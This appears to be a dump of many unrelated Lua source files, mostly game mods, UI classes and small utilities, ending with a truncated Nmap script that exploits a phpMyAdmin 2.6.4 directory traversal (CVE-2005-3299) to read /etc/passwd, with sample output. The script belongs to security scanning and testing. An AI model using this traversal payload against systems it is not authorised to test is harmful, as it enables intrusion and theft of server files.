tab .. "{" .. nl .. MakeTable( value, nice, indent + 1, done ) str = str .. idt .. tab .. tab .. tab .. tab .."},".. nl else if ( type( value ) == "string" ) then value = '"' .. tostring( value ) .. '"' elseif ( type( value ) == "Vector" ) then value = "Vector(" .. value.x .. "," .. value.y .. "," .. value.z .. ")" elseif ( type( value ) == "Angle" ) then value = "Angle(" .. value.pitch .. "," .. value.yaw .. "," .. value.roll .. ")" else value = tostring( value ) end str = str .. key .. tab .. value .. "," .. nl end end return str end function table.ToString( t, n, nice ) local nl, tab = "", "" if ( nice ) then nl, tab = "\n", "\t" end local str = "" if ( n ) then str = n .. tab .. "=" .. tab end return str .. "{" .. nl .. MakeTable( t, nice ) .. "}" end function PrintTable( t, indent, done ) done = done or {} indent = indent or 0 local keys = table.GetKeys( t ) table.sort( keys, function( a, b ) if ( type( a ) == "number" and type( b ) == "number" ) then return a < b end return tostring( a ) < tostring( b ) end ) for i = 1, #keys do key = keys[ i ] value = t[ key ] io.write( string.rep( "\t", indent ) ) if ( type( value ) == "table" and not done[ value ] ) then done[ value ] = true io.write( tostring( key ) .. ":" .. "\n" ) PrintTable( value, indent + 2, done ) else io.write( tostring( key ) .. "\t=\t" ) io.write( tostring( value ) .. "\n" ) end end end util = util or {}; local Polynomial = 0xEDB88320; local lookup = {}; for i = 0, 0xFF do local crc = i; for j = 0, 7 do crc = (crc >> 1) ~ ((crc & 1) * Polynomial); end lookup[i] = crc; end local function dw(x) return x & 0xFFFFFFFF; end function util.CRC(stuff) stuff = tostring(stuff); local crc = dw(~0); for i = 1, stuff:len() do crc = (crc >> 8) ~ lookup[((crc & 0xFF) ~ stuff:byte(i,i))]; end return dw(~crc); end
local playsession = { {"remarkablysilly", {1418533}}, {"Llzzard", {1362110}}, {"Timfee", {194545}}, {"oakivil", {555222}}, {"brftjx", {71911}}, {"Chesmu", {907975}}, {"Firewall5000", {69792}}, {"Serennie", {957619}}, {"WorldofWarIII", {1528966}}, {"Puph", {971978}}, {"MrJSelig", {551678}}, {"Silverwolf9300", {1151349}}, {"facere", {776283}}, {"floxys", {16553}}, {"Redbeard28", {1836035}}, {"yottahawk", {1109490}}, {"Agocelt", {951823}}, {"XeMoPHOs", {11511}}, {"Delqvs", {434659}}, {"wenoc", {332512}}, {"prezmop", {723}}, {"SwaggerC4", {29369}}, {"kain5566", {40727}}, {"Nikkichu", {294373}}, {"engbizzle", {2510}}, {"Seelentherapeut", {3873}}, {"rektb16", {13062}}, {"redlabel", {1315579}}, {"p0p3", {43297}}, {"CallMeTaste", {257006}}, {"Fire3231", {446166}}, {"Hutspovian", {1366530}}, {"Eriksonn", {11592}}, {"lengxian", {16074}}, {"CrabMasher", {7496}}, {"HellAbyss", {14394}}, {"AmiloPL", {20135}}, {"WIZ4", {3797}}, {"jackazzm", {38085}}, {"GuidoCram", {248427}}, {"JinNJuice", {810318}}, {"L0771", {457107}}, {"tyssa", {768540}}, {"Nanoc-Awagode", {522168}}, {"drakferion", {1187524}}, {"2716057", {10127}}, {"thesandbox", {1125506}}, {"kblo", {14734}}, {"Zymoran", {619196}}, {"LeeFactor", {98443}}, {"Darkxii", {23065}}, {"mewmew", {857249}}, {"JuanMore", {521281}}, {"CawaEast", {361529}}, {"halfdanj", {20747}}, {"mrstone", {34764}}, {"Fighter1507", {386239}}, {"Zorky", {59793}}, {"Silver_Eagle7", {741889}}, {"kendoctor", {939845}}, {"Spocks", {398145}}, {"keysersoyze", {17458}}, {"Mr.Smiley", {910322}}, {"peterses123", {126883}}, {"dpoba", {517101}}, {"dog80", {330463}}, {"YxY", {122742}}, {"teomarx", {452123}}, {"THE_ZUCCENING", {70257}}, {"Farcear", {320906}}, {"2xRon", {265679}}, {"rjdunlap", {764253}}, {"BlkKnight", {38881}}, {"Mimiick", {233135}}, {"NairbHaon", {509498}}, {"foxdarkstar", {117349}}, {"Thymey", {1837}}, {"yulingqixiao", {32744}}, {"somestringsattached", {18091}}, {"D_Riv", {528140}}, {"hunter117x", {588233}}, {"bamboofats", {30268}}, {"pcz1642raz", {65555}}, {"Nezeken", {541580}}, {"darklight720", {7356}}, {"Iglehart", {3606}}, {"TheDizzyNinja", {103871}}, {"50fffff", {95643}}, {"KreptyK", {4898}}, {"nizzy", {13495}}, {"ZTX", {340913}}, {"mcdj23_", {6515}}, {"iamshansen", {331871}}, {"rofl_bagel_mcswaggins", {228983}}, {"Kiumajus", {70612}}, {"YoubutWorse", {74786}}, {"ServalKitty", {286579}}, {"sobitome", {235761}}, {"perfectwill", {153349}}, {"Diablo-D3", {141734}}, {"Griffin904", {3517}}, {"Leetsloane", {95422}}, {"Random", {93422}}, {"EvToxic", {2913}}, {"graehamkracker", {8294}} } return playsession
--[[ Description: Changes a unit's current experience rating Arguments: Number base_pointer Memory pointer to the current unit - cannot be in hex annotated format, e.g 0x001EF35A = incorrect, 001EF35A = correct Number command_argument Ranging from 0 - 9, the experience rating to give. String optionalHeader Optional string that will be appended to the top of the .WALI file being created. Can be left empty Returns: n/a --]] function SetUnitExperience(base_pointer, command_argument, optionalHeader) base_pointer = convertCAAddressToHexPointer(base_pointer) if type(base_pointer) ~= "nil" --[[and type(base_pointer) == "number"--]] and type(command_argument) ~= "nil" and type(command_argument) == "number" then CreateWALIInterfaceLog(base_pointer, "SET_UNIT_EXP", math.floor(command_argument), optionalHeader) end end
/*============================================================================================================================================ Expression-Advanced Derma ============================================================================================================================================== Name: EA_Button Author: Oskar ============================================================================================================================================*/ local surface = surface local math = math local math_Clamp = math.Clamp local gradient_up = Material( "vgui/gradient-d" ) local gradient_down = Material( "vgui/gradient-u" ) local PANEL = {} AccessorFunc( PANEL, "m_tColor", "Color" ) AccessorFunc( PANEL, "m_tTextColor", "TextColor" ) AccessorFunc( PANEL, "m_bTextShadow", "TextShadow" ) AccessorFunc( PANEL, "m_sFont", "Font", FORCE_STRING ) AccessorFunc( PANEL, "m_bOutline", "Outlined", FORCE_BOOL ) AccessorFunc( PANEL, "m_bTextCentered", "TextCentered", FORCE_BOOL ) AccessorFunc( PANEL, "m_bFading", "Fading", FORCE_BOOL ) function PANEL:Init( ) self:SetSize( 25, 25 ) self:SetFont( "Trebuchet22" ) self:SetText( "" ) self:SetColor( Color( 100, 100, 100 ) ) self:SetTextColor( Color( 255, 255, 255 ) ) self:SetOutlined( false ) self:SetTextCentered( false ) self:SetFading( true ) end function PANEL:SizeToContents( ) surface.SetFont( self:GetFont( ) ) local Text = self:GetText( ) local w, h = surface.GetTextSize( Text ) self:SetSize( w + 10, h ) end function PANEL:SizeToContentsX( ) surface.SetFont( self:GetFont( ) ) local Text = self:GetText( ) local w, h = surface.GetTextSize( Text ) self:SetWide( w + 10 ) end function PANEL:SizeToContentsY( ) surface.SetFont( self:GetFont( ) ) local Text = self:GetText( ) local w, h = surface.GetTextSize( Text ) self:SetTall( h ) end function PANEL:Paint( w, h ) surface.SetDrawColor( self:GetColor( ) ) surface.DrawRect( 0, 0, w, h ) surface.SetDrawColor( 200, 200, 200, 100 ) surface.SetMaterial( gradient_down ) surface.DrawTexturedRect( 0, 0, w, h ) if self:GetFading( ) then surface.SetDrawColor( 0, 0, 0, 0 ) if self.Hovered then surface.SetDrawColor( 0, 0, 0, 50 ) end if self.Depressed then surface.SetDrawColor( 0, 0, 0, 100 ) end surface.DrawRect( 0, 0, w, h ) end if self:GetOutlined( ) then surface.SetDrawColor( 0, 0, 0, 255 ) surface.DrawOutlinedRect( 0, 0, w, h ) end surface.SetFont( self:GetFont( ) ) local Text = self:GetText( ) local tw, th = surface.GetTextSize( Text ) local x, y = math.floor( w / 2 ) - math.floor( tw / 2 ), math.floor( h / 2 ) - math.floor( th / 2 ) if !self:GetTextCentered( ) then x = 5 end if self:GetTextShadow( ) then surface.SetTextColor( self:GetTextShadow( ) ) for _x = -1, 1 do for _y = -1, 1 do surface.SetTextPos( x + _x, y + _y ) surface.DrawText( Text ) end end end surface.SetTextColor( self:GetTextColor( ) ) surface.SetTextPos( x, y ) surface.DrawText( Text ) return true end vgui.Register( "EA_Button", PANEL, "DButton" )
LSpeedComp = SimpleClass(LComponent) function LSpeedComp:__init(type,uid,args) self.speed = args[1] end function LSpeedComp:isNeedUpdate() return self.isChange end function LSpeedComp:update(sp) self.speed = sp end
---@class lstg.MBGPlayer:xobject local M = xclass() local mbg = require('util.mbg.__init__') local Main = require('game.mbg.Main') function M:init(path) self.bound = false self.layer = LAYER_TOP + 100 assert(type(path) == 'string') local s = cc.FileUtils:getInstance():getStringFromFile(path) if s == '' then print('failed to load', path) end local ok, ret = pcall(mbg.Parse, s) if not ok then print(ret) return end ---@type mbg.MBGData self._data = ret local data = self._data self._nFrame = data.TotalFrame -- if not Main.rand then Main.initialize() end Main.loadContent() require('game.mbg.Opening').Open(data) require('game.mbg.Time')._play() end function M:frame() if not self._data then return end Main.update() Main.draw() end function M:render() if not self._data then return end SetViewMode('world') local Layer = require('game.mbg.Layer') local num = { #Layer.LayerArray } for _, layer in ipairs(Layer.LayerArray) do --table.insert(num, #layer.Barrages) table.insert(num, #layer.BatchArray) for _, b in ipairs(layer.Barrages) do b:draw() end end --local Time = require('game.mbg.Time') --RenderText('menu', table.concat(num, ','), 0, 0, 0.5) --RenderText('menu', ('Play:%s'):format(Time.Playing), 0, -20, 0.5) local la1 = Layer.LayerArray[1] local str = ('%d'):format(#(la1.Barrages)) if la1._Tb then str = str .. (' %.1f'):format(la1._Tb) end RenderText('menu', str, 0, -200, 0.5) end return M
local inspect = require 'inspect' local readline = require 'resty.repl.readline' local function output(result, code_len) local value = result:value() -- print an error if not success if not result:is_success() then local err = result:err() if 'table' == type(err) then err = inspect(err) end readline.puts('ERROR: ' .. err) return end -- don't print anything if there is just <CR> if not result:has_return_value() and 0 == code_len then return end if _G.ngx and (_G.ngx.null == value) then value = '<ngx.null>' elseif 'table' == type(value) then value = inspect(value) end readline.puts('=> ' .. tostring(value)) end return { print = output }
object_tangible_event_perk_frn_loyalty_award_plaque_silver = object_tangible_event_perk_shared_frn_loyalty_award_plaque_silver:new { } ObjectTemplates:addTemplate(object_tangible_event_perk_frn_loyalty_award_plaque_silver, "object/tangible/event_perk/frn_loyalty_award_plaque_silver.iff")
--=========== Copyright © 2018, Planimeter, All rights reserved. ===========-- -- -- Purpose: Drop-Down List Item Group class -- --==========================================================================-- class "gui.dropdownlistitemgroup" ( "gui.radiobuttongroup" ) local dropdownlistitemgroup = gui.dropdownlistitemgroup function dropdownlistitemgroup:dropdownlistitemgroup( parent, name ) gui.radiobuttongroup.radiobuttongroup( self, nil, name ) self.width = parent:getWidth() self:setUseFullscreenFramebuffer( true ) self.dropDownList = parent self:setScheme( "Default" ) end function dropdownlistitemgroup:addItem( item, default ) item:setParent( self ) gui.radiobuttongroup.addItem( self, item ) if ( default or #self:getItems() == 1 ) then item:setDefault( true ) end self:invalidateLayout() end function dropdownlistitemgroup:draw() if ( self:getItems() == nil ) then return end gui.panel.draw( self ) local property = "dropdownlistitem.backgroundColor" self:drawBorders( property ) property = "dropdownlistitem.outlineColor" self:drawBorders( property ) end function dropdownlistitemgroup:drawBorders( property ) local lineWidth = love.window.toPixels( 1 ) local height = self:getHeight() local width = self:getWidth() love.graphics.setColor( self:getScheme( property ) ) love.graphics.setLineStyle( "rough" ) love.graphics.setLineWidth( lineWidth ) love.graphics.line( 0, lineWidth / 2, -- Top-left width, lineWidth / 2 -- Top-right ) love.graphics.line( 0, height - lineWidth / 2, -- Bottom-left width, height - lineWidth / 2 -- Bottom-right ) end accessor( dropdownlistitemgroup, "dropDownList" ) function dropdownlistitemgroup:invalidateLayout() self:updatePos() self:setWidth( self:getDropDownList():getWidth() ) local listItems = self:getItems() if ( listItems ) then local y = 0 for _, listItem in ipairs( listItems ) do listItem:setY( y ) listItem:setWidth( self:getWidth() ) y = y + listItem:getHeight() end self:setHeight( y ) end end function dropdownlistitemgroup:isVisible() local dropDownList = self:getDropDownList() return dropDownList:isVisible() and dropDownList:isActive() end function dropdownlistitemgroup:mousepressed( x, y, button, istouch ) if ( button == 1 ) then local dropDownList = self:getDropDownList() if ( dropDownList ~= gui._topPanel and ( not ( self.mouseover or self:isChildMousedOver() ) ) ) then dropDownList:setActive( false ) end end return gui.panel.mousepressed( self, x, y, button, istouch ) end function dropdownlistitemgroup:onValueChanged( oldValue, newValue ) local dropDownList = self:getDropDownList() dropDownList:setActive( false ) dropDownList:onValueChanged( oldValue, newValue ) end local x, y = 0, 0 function dropdownlistitemgroup:updatePos() local dropDownList = self:getDropDownList() if ( dropDownList ) then x, y = dropDownList:localToScreen() self:setPos( x, y + dropDownList:getHeight() ) end end
local t = Def.ActorFrame{}; t[#t+1] = Def.ActorFrame { OnCommand=function(self) if GAMESTATE:IsExtraStage() then self:diffuse(color("#ff5aec")); elseif GAMESTATE:IsExtraStage2() then self:diffuse(color("#ff5a63")); end; end; -- failed song -- LoadActor("../_failed.mp3") .. { StartTransitioningCommand=cmd(play); }; -- DOOR OPEN TO CLOSE LoadActor("../2013Door01.png")..{ InitCommand=cmd(x,SCREEN_CENTER_X;y,SCREEN_CENTER_Y-360;zoom,1); OnCommand=cmd(linear,0.25;y,SCREEN_CENTER_Y); }; LoadActor("../2013Door02.png")..{ InitCommand=cmd(x,SCREEN_CENTER_X;y,SCREEN_CENTER_Y+360;zoom,1); OnCommand=cmd(linear,0.25;y,SCREEN_CENTER_Y); }; }; t[#t+1] = Def.ActorFrame { -- Failed LoadActor("failed") .. { InitCommand=cmd(x,SCREEN_CENTER_X;y,SCREEN_CENTER_Y); }; }; return t;
local async = {} function async.parallel(...) return async.parallel_list({ ... }) end local function empty(done) done() end function async.parallel_list(tasks) if #tasks == 0 then return empty end return function(done) local cnt = 0 for _, task in pairs(tasks) do task(function() cnt = cnt + 1 if cnt == #tasks then done() end end) end end end local function serialNext(tasks, idx, done) if idx < #tasks then tasks[idx](function() serialNext(tasks, idx + 1, done) end) else tasks[idx](done) end end function async.serial(...) return async.serial_list({ ... }) end function async.serial_list(tasks) if #tasks == 0 then return empty end return function(done) serialNext(tasks, 1, done) end end return async
data:extend{ { name = "packing-tape-pickup", type = "custom-input", key_sequence = "J", action = "lua", localised_name = {"shortcut-name.packing-tape-shortcut"}, }, { name = "packing-tape-shortcut", type = "shortcut", action = "lua", associated_control_input = "packing-tape-pickup", toggleable = true, icon = { filename = "__packing-tape__/graphics/icons/shortcut.png", priority = "extra-high-no-scale", size = 200, scale = 1, flags = {"icon"}, }, --[[disabled_icon = { filename = "__packing-tape__/graphics/icons/shortcut.png", priority = "extra-high-no-scale", size = 32, scale = 1, flags = {"icon"}, },]] } }
----------------------------------------- -- ID: 4764 -- Scroll of Aero III -- Teaches the black magic Aero III ----------------------------------------- function onItemCheck(target) return target:canLearnSpell(156) end function onItemUse(target) target:addSpell(156) end
local module = ... local restartTimer = tmr.create() restartTimer:register(2000, tmr.ALARM_SINGLE, function() node.restart() end) local function process(request) if request.method == "GET" then if request.query then request.query.restart = request.query.restart or "false" request.query.restore = request.query.restore or "false" end if request.query.restart == "true" then restartTimer:start() end if request.query.restore == "true" then node.restore() restartTimer:start() end return "" end if request.contentType == "application/json" then if request.method == "PUT" then local setVar = require("variables_set") setVar("settings", require("variables_build")({ token = request.body.token, apiUrl = request.body.apiUrl, blink = request.body.blink, discovery = request.body.discovery })) setVar("sensors", require("variables_build")(request.body.sensors)) setVar("actuators", require("variables_build")(request.body.actuators)) setVar("dht_sensors", require("variables_build")(request.body.dht_sensors)) print("Heap:", node.heap(), 'Settings updated! Restarting in 5 seconds...') restartTimer:start() return "" end end end return function(request) package.loaded[module] = nil module = nil return process(request) end
local Maze = require(script.Maze) local Draw = require(script.Draw) return function(count, size, exitCount) local maze = Maze:new(count) local cells = maze:generate() local draw = Draw:new(size) draw:draw(cells, exitCount) end
-- Crafts minetest.register_craft({ output = "mcl_lighting:light_rod 4", recipe = { {"mcl_mobitems:blaze_rod"}, {"mcl_core:iron_ingot"}, }, }) minetest.register_craft({ output = "mcl_lighting:blue_lantern_f", recipe = { {"", "mcl_core:iron_nugget", ""}, {"mcl_core:glass_blue", "mcl_torches:torch", "mcl_core:glass_blue"}, {"mcl_core:iron_nugget", "mcl_core:iron_nugget", "mcl_core:iron_nugget"} } }) minetest.register_craft({ output = "mcl_lighting:lantern_f", recipe = { {"", "mcl_core:iron_nugget", ""}, {"mcl_core:glass_orange", "mcl_torches:torch", "mcl_core:glass_orange"}, {"mcl_core:iron_nugget", "mcl_core:iron_nugget", "mcl_core:iron_nugget"} } }) minetest.register_craft({ output = 'mcl_lighting:streetpost_d', recipe = { {'mcl_core:iron_ingot'}, {'mcl_core:iron_ingot'}, {'mcl_core:iron_ingot'}, } }) minetest.register_craft({ output = 'mcl_lighting:streetpost_l', recipe = { {'mcl_core:iron_ingot'}, {'mcl_core:iron_nugget'}, {'mcl_core:iron_ingot'}, } }) minetest.register_craft({ output = "mcl_lighting:barlight_c 4", recipe = { {"mcl_core:iron_ingot", "mcl_nether:glowstone_dust", "mcl_core:iron_ingot"}, {"mcl_core:gold_ingot", "mcl_core:glass", "mcl_core:gold_ingot"} } }) minetest.register_craft({ output = "mcl_lighting:barlight_c 2", type = "shapeless", recipe = {"mcl_lighting:barlight_s"} }) minetest.register_craft({ output = "mcl_lighting:barlight_s", type = "shapeless", recipe = {"mcl_lighting:barlight_c", "mcl_lighting:barlight_c"} }) minetest.register_craft({ output = "mcl_lighting:glowlight_modern", recipe = { {"mcl_core:iron_ingot", "mcl_torches:torch", "mcl_core:iron_ingot"}, {"", "mcl_core:glass", ""} } }) minetest.register_craft({ output = "mcl_lighting:modern_walllamp", recipe = { {"mcl_dye:white", "mcl_core:glass", ""}, {"mcl_core:glass", "mcl_nether:glowstone_dust", "mcl_core:iron_ingot"}, {"", "mcl_dye:grey", "mcl_core:iron_ingot"} } }) minetest.register_craft({ output = "mcl_lighting:tablelamp_d", recipe = { {"mcl_wool:grey", "mcl_torches:torch", "mcl_wool:grey"}, {"", "mcl_core:iron_ingot", ""}, {"", "mcl_core:iron_ingot", ""} } }) minetest.register_craft({ output = "mcl_lighting:tablelamp_l", recipe = { {"mcl_wool:white", "mcl_torches:torch", "mcl_wool:white"}, {"", "mcl_core:iron_ingot", ""}, {"", "mcl_core:iron_ingot", ""} } })
local _floor, _ceil = math.floor, math.ceil local _sf = string.format local simpleclass = require "simpleclass" local noop = simpleclass.noop local class = simpleclass.class ----- MODULE FUNCTION START ----- return function(Game) --------------------------------- local settings = Game.settings local Pane = Game.gui.Pane local Button = Game.gui.Button local Slider = Game.gui.Slider local Cycler = Game.gui.Cycler local Typer = Game.gui.Typer local States = Game.States local Classes = Game.stateClasses local setState = Game.setState -- Main Menu State local Menu = class("MainMenu", Classes.Base) function Menu:updateLayout() local sw, sh = Game.sw, Game.sh local items = self.pane.items self.logo = settings.theme.graphics.logo local logow, logoh = self.logo:getDimensions() self.logox = _floor(400 * sw - logow / 2) self.logoy = _floor(25 * sh) local font = Game.selectFont(math.min(sw, sh), "huge") local fh = _floor(font:getHeight()) local advance = fh + _floor(5 * sh) local x, y = _floor(250 * sw), self.logoy + logoh + advance local limit = _floor(300 * sw) items.newgameButton:setFont(font):setBox(x, y, limit, fh):refresh(); y = y + advance items.continueButton:setFont(font):setBox(x, y, limit, fh):refresh(); y = y + advance items.optionsButton:setFont(font):setBox(x, y, limit, fh):refresh() y = _floor(600 * sh) - 2 * advance --items.restartButton:setFont(font):setBox(x, y, limit, fh):refresh(); y = y + advance items.quitButton:setFont(font):setBox(x, y, limit, fh):refresh() end function Menu:init() Classes.Base.init(self) local pane = Pane() local newgameButton = pane:add("newgameButton", Button("New Game"):setAlign("center")) newgameButton.onclick = function(uibutton) States.MainGame:newGame() setState("MainGame") end local continueButton = pane:add("continueButton", Button("Continue"):setAlign("center")) continueButton.onclick = function(uibutton) if States.MainGame.time then -- if there is an ongoing game setState("MainGame") end end continueButton:setEnabled(false) local optionsButton = pane:add("optionsButton", Button("Options"):setAlign("center")) optionsButton.onclick = function(uibutton) setState("OptionsMenu") end --local restartButton = pane:add("continueButton", Button("Restart"):setAlign("center")) --restartButton.onclick = function() -- Game.quit("restart") --end local quitButton = Button("Quit"):setAlign("center") quitButton.onclick = function() Game.quit() end if not Game.web then pane:add("quitButton", quitButton) end self.pane = pane self:updateLayout() return self end function Menu:draw() local sw, sh = Game.sw, Game.sh love.graphics.setColor(settings.theme.colors.main) love.graphics.draw(self.logo, self.logox, self.logoy) self.pane:draw() end function Menu:mousemoved(x,y,dx,dy) self.pane:mousemoved(x,y,dx,dy) end function Menu:mousepressed(x,y,button) self.pane:mousepressed(x,y,button) end function Menu:mousereleased(x,y,button) self.pane:mousereleased(x,y,button) end function Menu:textinput(text) self.pane:textinput(text) end function Menu:keypressed(key, scancode) self.pane:keypressed(key, scancode) end Classes[Menu.name] = Menu ----- MODULE FUNCTION END ----- end --return function(Game) ---------------------------------
local __procedures = {} local procedure = { __callbacks = {}, __events = {}, __doEventCheck = true, running = false, } function new(port, updateRate) local internalID = 0 repeat internalID = internalID + 1 until (__procedures[internalID] == nil) __procedures[internalID] = true local internalPort = port if internalPort == nil then internalPort = (os.getComputerID() + 1500) end local internalUpdateRate = updateRate if internalUpdateRate == nil then internalUpdateRate = 1 end local data = setmetatable({}, {__index = procedure}) data.__internalID = internalID data.__internalPort = internalPort data.__internalUpdateRate = internalUpdateRate return data end
function love.conf(t) t.window.width = 800 -- t.screen.width in 0.8.0 and earlier t.window.height = 500 -- t.screen.height in 0.8.0 and earlier t.window.borderless = false t.window.resizable = true t.window.minwidth = 400 t.window.minheight = 300 t.modules.physics = false t.modules.thread = false t.console = true end
local MakePlayerCharacter = require "prefabs/player_common" local assets = { --Asset("ANIM", "anim/wendy.zip"), Asset("ANIM", "anim/wes.zip"), Asset("ANIM", "anim/player_mime.zip"), } local prefabs = { "balloons_empty" } local start_inv = { "balloons_empty", } local fn = function(inst) inst.components.health:SetMaxHealth(TUNING.WILSON_HEALTH * .75 ) inst.components.hunger:SetMax(TUNING.WILSON_HUNGER * .75 ) inst.components.combat.damagemultiplier = .75 inst.components.hunger:SetRate(TUNING.WILSON_HUNGER_RATE*1.25) inst.components.sanity:SetMax(TUNING.WILSON_SANITY*.75) inst.components.inventory:GuaranteeItems(start_inv) inst.components.talker.special_speech = true end return MakePlayerCharacter("wes", prefabs, assets, fn, start_inv)
--[[ TestName.lua exported by excel2lua.py from file:TestName.xlsx --]] local TestName = { [1] = { Id = 1, name = '剑客', attributes = {{2001,1,10},{3001,1,10}}, Attack = 1, }, [2] = { Id = 2, name = '法师', attributes = {{2001,1,10},{3001,1,10}}, Attack = 2, }, [3] = { Id = 3, name = '圣骑', attributes = {{2001,1,10}}, Attack = 3, }, } return TestName
local persist local defaultMt = {__index = function(self,k) self[k] = {} return self[k] end} local function CollectData() persist.distances = {} for name, prototype in pairs(game.entity_prototypes) do persist.distances[name] = prototype.type == "underground-belt" and prototype.max_underground_distance or nil end end script.on_init(function() persist = global CollectData() persist.zipped = setmetatable({}, defaultMt) end) script.on_load(function() persist = global setmetatable(persist.zipped, defaultMt) end) script.on_configuration_changed(function() CollectData() end) script.on_event("belt-zip-select", function(event) local player = game.players[event.player_index] local stack = player.cursor_stack if stack.valid_for_read then if stack.name == "belt-zipper" then --remove belt zipper stack.clear() else if player.clean_cursor() then stack.set_stack "belt-zipper" end end else stack.set_stack "belt-zipper" end end) script.on_event(defines.events.on_player_dropped_item, function(event) local entity = event.entity if entity.stack.name == "belt-zipper" then entity.destroy() end end) script.on_event(defines.events.on_player_selected_area, function(event) local entities, toExamine = event.entities, {} for _, entity in pairs(entities) do if entity.type == "underground-belt" then toExamine[entity] = persist.distances[entity.name] end end end) script.on_event(defines.events.on_player_alt_selected_area, function(event) -- unzip end)
local random = require'ottery' local randomdata = {} local dupes = 0 local num = 102400 local length = 1024 for i = 1, num do local data = random.hexstring(length) if randomdata[data] then dupes = dupes + 1 end randomdata[data] = true end print(("We generated %d hex strings with a length of %d"):format(num, length)) if dupes > 0 then print("Duplicates was found :(") else print("We're completely random!") end
----------------------------------- -- Area: Meriphataud Mountains -- Mob: Hill Lizard ----------------------------------- require("scripts/globals/regimes") ----------------------------------- function onMobDeath(mob, player, isKiller) tpz.regime.checkRegime(player, mob, 37, 1, tpz.regime.type.FIELDS) tpz.regime.checkRegime(player, mob, 38, 2, tpz.regime.type.FIELDS) end
local rand = require "rand" local shortport = require "shortport" local stdnse = require "stdnse" local string = require "string" local http = require "http" local io = require "io" local vulns = require "vulns" description = [[ Exploits a directory traversal vulnerability in phpMyAdmin 2.6.4-pl1 (and possibly other versions) to retrieve remote files on the web server. Reference: * http://www.exploit-db.com/exploits/1244/ ]] --- -- @usage -- nmap -p80 --script http-phpmyadmin-dir-traversal --script-args="dir='/pma/',file='../../../../../../../../etc/passwd',outfile='passwd.txt'" <host/ip> -- nmap -p80 --script http-phpmyadmin-dir-traversal <host/ip> -- -- @args http-phpmyadmin-dir-traversal.file Remote file to retrieve. Default: <code>../../../../../etc/passwd</code> -- @args http-phpmyadmin-dir-traversal.outfile Output file -- @args http-phpmyadmin-dir-traversal.dir Basepath to the services page. Default: <code>/phpMyAdmin-2.6.4-pl1/</code> -- -- @output -- PORT STATE SERVICE -- 80/tcp open http -- | http-phpmyadmin-dir-traversal: -- | VULNERABLE: -- | phpMyAdmin grab_globals.lib.php subform Parameter Traversal Local File Inclusion -- | State: VULNERABLE (Exploitable) -- | IDs: CVE:CVE-2005-3299 -- | Description: -- | PHP file inclusion vulnerability in grab_globals.lib.php in phpMyAdmin 2.6.4 and 2.6.4-pl1 allows remote attackers to include local files via the $__redirect parameter, possibly involving the subform array. -- | -- | Disclosure date: 2005-10-nil -- | Extra information: -- | ../../../../../../../../etc/passwd : -- | root:x:0:0:root:/root:/bin/bash -- | daemon:x:1:1:daemon:/usr/sbin:/bin/sh -- | bin:x:2:2:bin:/bin:/bin/sh -- | sys:x:3:3:sys:/dev:/bin/sh -- | sync:x:4:65534:sync:/bin:/bin/sync -- | games:x:5:60:games:/usr/games:/bin/sh -- | man:x:6:12:man:/var/cache/man:/bin/sh -- | lp:x:7:7:lp:/var/spool/lpd:/bin/sh -- | mail:x:8:8:mail:/var/mail:/bin/sh -- | news:x:9:9:news:/var/spool/news:/bin/sh -- | uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh -- | proxy:x:13:13:proxy:/bin:/bin/sh -- | www-data:x:33:33:www-data:/var/www:/bin/sh -- | backup:x:34:34:backup:/var/backups:/bin/sh -- | list:x:38:38:Mailing List Manager:/var/list:/bin/sh -- | irc:x:39:39:ircd:/var/run/ircd:/bin/sh -- | gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh -- | nobody:x:65534:65534:nobody:/nonexistent:/bin/sh -- | libuuid:x:100:101::/var/lib/libuuid:/bin/sh -- | syslog:x:101:103::/home/syslog:/bin/false -- | sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin -- | dps:x:1000:1000:dps,,,:/home/dps:/bin/bash -- | vboxadd:x:999:1::/var/run/vboxadd:/bin/false -- | mysql:x:103:110:MySQL Server,,,:/nonexistent:/bin/false -- | memcache:x:104:112:Memcached,,,:/nonexistent:/bin/false -- | ../../../../../../../../etc/passwd saved to passwd.txt -- | -- | References: -- | http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3299 -- |_ http://www.exploit-db.com/exploits/1244/ author = "Alexey Meshcheryakov" license = "Same as Nmap--See https://nmap.org/book/man-legal.html" categories = {"vuln", "exploit"} portrule = shortport.http --- --Writes string to file --Taken from: hostmap.nse local function write_file(filename, contents) local f, err = io.open(filename, "w") if not f then return f, err end f:write(contents) f:close() return true end --Default configuration values local EXPLOIT_QUERY = "usesubform[1]=1&usesubform[2]=1&subform[1][redirect]=%s&subform[1][cXIb8O3]=1" local DEFAULT_FILE = "../../../../../etc/passwd" local DEFAULT_DIR = "/phpMyAdmin-2.6.4-pl1/" local EXPLOIT_PATH = "libraries/grab_globals.lib.php" action = function(host, port) local dir = stdnse.get_script_args("http-phpmyadmin-dir-traversal.dir") or DEFAULT_DIR local evil_uri = dir..EXPLOIT_PATH local rfile = stdnse.get_script_args("http-phpmyadmin-dir-traversal.file") or DEFAULT_FILE local evil_postdata = EXPLOIT_QUERY:format(rfile) local filewrite = stdnse.get_script_args(SCRIPT_NAME..".outfile") stdnse.debug1("HTTP POST %s%s", stdnse.get_hostname(host), evil_uri) stdnse.debug1("POST DATA %s", evil_postdata) local vuln = { title = 'phpMyAdmin grab_globals.lib.php subform Parameter Traversal Local File Inclusion', IDS = {CVE = 'CVE-2005-3299'}, state = vulns.STATE.NOT_VULN, description = [[PHP file inclusion vulnerability in grab_globals.lib.php in phpMyAdmin 2.6.4 and 2.6.4-pl1 allows remote attackers to include local files via the $__redirect parameter, possibly involving the subform array. ]], references = { 'http://www.exploit-db.com/exploits/1244/', }, dates = { disclosure = {year = '2005', month = '10', dat = '10'}, }, } local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) -- Check if we can distinguish vulnerable from non-vulnerable response local response = http.post(host, port, "/" .. rand.random_alpha(12), {header = {["Content-Type"] = "application/x-www-form-urlencoded"}}, nil, evil_postdata) local testable = true if response.status == 200 then testable = false stdnse.debug1("Server responds with 200 for POST to any URI.") end response = http.post(host, port, evil_uri, {header = {["Content-Type"] = "application/x-www-form-urlencoded"}}, nil, evil_postdata) if response.body and response.status==200 then stdnse.debug1("response : %s", response.body) vuln.state = testable and vulns.STATE.EXPLOIT or vulns.STATE.UNKNOWN vuln.extra_info = rfile.." :\n"..response.body if filewrite then local status, err = write_file(filewrite, response.body) if status then vuln.extra_info = string.format("%s%s saved to %s\n", 